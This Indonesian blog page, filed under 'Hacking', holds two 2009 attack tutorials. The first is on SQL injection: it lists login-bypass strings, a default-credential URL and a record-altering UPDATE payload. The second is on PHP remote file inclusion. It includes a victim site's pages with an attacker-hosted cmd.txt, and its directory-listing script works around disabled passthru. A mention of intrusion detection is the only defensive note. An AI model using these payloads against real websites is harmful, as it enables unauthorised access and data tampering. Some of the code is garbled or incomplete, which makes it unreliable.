Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Minggu, 19 April 2009

SQL injection

SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yg ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dgn program2 database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.
SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius. Mengapa disebut SQL Injection ? seperti yg kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu “suntikan”. Yang terjadi memang seperti melakukan suntikan terhadap SQL yg tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.
Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.
Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.
Input Query String
Default setting dari SQL menggunakan :
adminID = sa
password =’’ (kosong atau blank)
misalnya : http://www.target.com/login.asp?admi...%20password=’’
%20 artinya menggantikan “jarak spasi”
Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.
Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :
SQLQuery=”SELECT Username FROM Users WHERE Username=”’&strUsername&”’strpassword&”’
Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yg sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.
Contoh : menggunakan injection string ’OR’’= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :
SELECT Username FROM Users WHERE Username=’’OR’’=’’ AND Password=’’OR’’=’’
Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.
Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :
’or 1=1–
’or 0=0 –
’or ’x’=’x
’or a=a-
“or 0=0 –
“or 0=0 #
“or “x”=”x
“)or(”a”=”a
admin’–
hi” or 1=1 –
hi’ or’a’=’a
hi”)or(”a”=”a
or 0=0 #
’or a=a–
’or 0=0 #
’having 1=1–
“or 1=1–
“or “a”=”a
’)or(’a’=’a
’)or(’x’=’x
hi” or “a”=”a
hi’ or 1=1 –
hi’)or(’a’=’a
or 0=0 –
or 1=1–
Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :
’UPDATE YEPCell_memberDB set Credits=100 wher UserID=’yamakasi’
Sql Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com

http://bayi00.blogdetik.com/

PHP injection

Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang

sering dipergunakan dalam aksi 'php injection' adalah 'ls -al' untuk melihat

isi direktori.



Seperti misalnya:

http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt&?cmd=ls -al



dimana isi dari http://www.situsku.com/cmd.txt adalah



// begin of cmd.txt



// end of cmd.txt



Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya

menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari

passthru di'disable' oleh sang admin. Tentunya hal ini dilakukan oleh sang

admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat

script untuk melihat isi direktori.



Berikut script yang penulis modifikasi dari php manual:



// begining of list.txt




function lookdir($mydirectory) {

$strdir = array();

chdir($mydirectory);

echo "

Directory of $mydirectory ";

if($handle = opendir($mydirectory)) {

while (false !== ($file = readdir($handle))) {



$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {

// Socket

$info = 's';

} elseif (($perms & 0xA000) == 0xA000) {

// Symbolic Link

$info = 'l';

} elseif (($perms & 0x8000) == 0x8000) {

// Regular

$info = '-';

} elseif (($perms & 0x6000) == 0x6000) {

// Block special

$info = 'b';

} elseif (($perms & 0x4000) == 0x4000) {

// Directory

$info = 'd';

if ($file != ".") {

if ($file != "..") {

$strdir[] = $mydirectory . $file;//preg_replace('//./','/',$file);

}

}

//return $strdir;

} elseif (($perms & 0x2000) == 0x2000) {

// Character special

$info = 'c';

} elseif (($perms & 0x1000) == 0x1000) {

// FIFO pipe

$info = 'p';

} else {

// Unknown

$info = 'u';

}





// Owner

$info .= (($perms & 0x0100) ? 'r' : '-');

$info .= (($perms & 0x0080) ? 'w' : '-');

$info .= (($perms & 0x0040) ?

(($perms & 0x0800) ? 's' : 'x' ) :

(($perms & 0x0800) ? 'S' : '-'));



// Group

$info .= (($perms & 0x0020) ? 'r' : '-');

$info .= (($perms & 0x0010) ? 'w' : '-');

$info .= (($perms & 0x000 8) ?

(($perms & 0x0400) ? 's' : 'x' ) :

(($perms & 0x0400) ? 'S' : '-'));



// World

$info .= (($perms & 0x0004) ? 'r' : '-');

$info .= (($perms & 0x0002) ? 'w' : '-');

$info .= (($perms & 0x0001) ?

(($perms & 0x0200) ? 't' : 'x' ) :

(($perms & 0x0200) ? 'T' : '-'));





$array_file_owner = posix_getpwuid(fileowner($file));

$array_file_group = posix_getgrgid(filegroup($file));



$info .= " " . $array_file_owner['name'] . " ";

$info .= $array_file_group['name'] . " ";

$info .= filesize($file) . " ";

$info .= date("M d Y",filemtime($file)) . " ";

$info .= $file;



echo "
$info";

}

closedir($handle);

}

return $strdir;

} // end of function lookdir



$my_working_directory = getcwd();

lookdir($my_working_directory); // atau coba juga lookdir(".");



?>

// end of list.txt





Saat kita coba inject dengan menggunakan list.txt, misalnya:



http://www.korban.com/index.php?page=http://www.situsku.com/list.txt



akan menghasilkan isi direktori berikut permissionnya.



Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa

tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan

menulis/membuat sebuah file.



Silahkan dikembangkan.


Blogger Templates by Isnaini Dot Com and Wedding Gowns. Powered by Blogger